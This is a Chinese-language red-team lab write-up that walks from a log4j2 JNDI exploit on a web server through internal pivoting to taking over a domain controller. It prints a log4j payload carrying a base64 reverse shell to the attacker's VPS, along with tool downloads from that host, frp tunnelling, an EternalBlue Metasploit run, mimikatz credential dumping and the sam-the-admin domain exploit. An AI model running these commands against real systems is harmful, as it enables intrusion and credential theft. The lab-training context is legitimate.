Redteam2靶场(从外网 log4j2 RCE 再到内网拿下域控 )
0X01、环境搭建
主机 | IP地址 | |
---|---|---|
kali | 192.168.1.105 | VPS |
ubuntu | 192.168.1.103(外网地址) / 10.0.1.6(内网地址) | web服务器 |
windows 7 | 10.0.1.7 / 10.0.0.7(内网地址) | 域内机器 |
windows 2012 | 10.0.0.12(内网地址) | 域控制器DC |
1、使用nmap对靶机进行全端口扫描
1 | nmap -sV -A -T4 -p- 192.168.1.103 |
2、发现靶机开放了38080和22端口,38080是web服务
0X03、漏洞利用
一、log4j2漏洞利用
由于我这里burpsuite发包收不到shell,所以我利用curl命令代替burp发包进行漏洞利用
1、在kali中开启ldap服务
1 | java -jar JNDIExploit-1.4-SNAPSHOT.jar -i 192.168.1.105 |
2、利用下面的paylod进行反弹shell
1 | curl 192.168.1.103:38080/hello -X POST -d 'payload=${jndi:ldap://192.168.1.105:1389/TomcatBypass/Command/Base64/YmFzaCAtaSA%252bJiAvZGV2L3RjcC8xOTIuMTY4LjEuMTA1Lzc3NzcgMD4mMQ==}' |
3、查看发现该靶机是docker环境
1 | cat /proc/1/cgroup |
4、在root目录下发现flag,并且给了我们一个账号密码,根据之前的信息收集发现其开放了22端口,猜测是ssh服务的账号密码
1 | Congratulations, you got this: saul Saul123 |
5、连接ssh
1 | ssh saul@192.168.1.103 |
6、查看网卡信息发现存在双网卡
1 | ifconfig |
0X04、内网渗透
一、上传fscan到靶机
1、在kali利用python开启web服务
1 | python -m http.server 80 |
2、将fscan远程下载到靶机
1 | wget http://192.168.1.105/fscan_amd64 |
3、利用fscan扫描其他存活主机
1 | chmod +x fscan_amd64 |
二、通过扫描结果发现10.0.1.7为windows7系统,并且存在ms17-010漏洞
1、利用frp将流量代理出来
(1)、远程下载frpc到靶机
1 | wget http://192.168.1.105/frp_0.44.0_linux_amd64/frpc |
2、启动frp服务端
1 | ./frps -c frps.ini |
1 | frps配置 |
3、启动客户端
1 | ./frpc -c frpc.ini |
1 | frpc配置 |
4、MSF设置代理
1 | setg Proxies socks5:127.0.0.1:6000 |
5、ms17-010漏洞利用
1 | use exploit/windows/smb/ms17_010_eternalblue |
6、在桌面拿到flag
7、查看网卡信息发现存在域环境(redteam.lab)
1 | ipconfig /all |
8、域内信息收集
1 | net view /domain |
(1)、查看域管理员
1 | net group "domain admins" /domain |
(2)、查看域用户
1 | net user /domain |
(3)、查找域控
1 | nltest /DClist:redteam |
9、通过ping命令查看域控IP,发现域控IP为10.0.0.12
10、利用mimikatz抓取用户密码
1 | load mimikatz |
0X05、CVE-2021-42287/CVE-2021-42278
1 | Python 漏洞利用脚本:https://github.com/WazeHell/sam-the-admin |
前置条件:需要一个域用户
假如域内有一台域控名为 DC(域控对应的机器用户为 DC),此时攻击者利用漏洞创建一个机器用户,再把机器用户 saulGoodman的改成。然后利用去申请一个票据。再把的改为。这个时候 KDC 就会判断域内没有 DC 和这个用户,自动去搜索 DC(是域内已经的域控DC 的 sAMAccountName),攻击者利用刚刚申请的 TGT 进行 S4U2self,模拟域内的域管去请求域控 DC 的 ST 票据,最终获得域控制器DC的权限。
在使用代理之前,我们需要先添加路由,让MSF能到达目标机器内网。因为这里socks模块只是将代理设置为监听的端口(默认是1080),即通过proxychains的流量都转给本地的1080端口,又因为这是MSF起的监听端口,所以通过代理走的流量也都能到达内网
1、添加路由
1 | run autoroute -s 10.0.0.7/24 |
2、设置Socks5代理
1 | use auxiliary/server/socks_proxy |
3、修改配置文件
1 | vim /etc/proxychains4.conf |
3、执行python漏洞利用脚本
1 | proxychains4 python3 sam_the_admin.py "redteam/root:Red12345" -dc-ip 10.0.0.12 -shell |
4、拿到最终的flag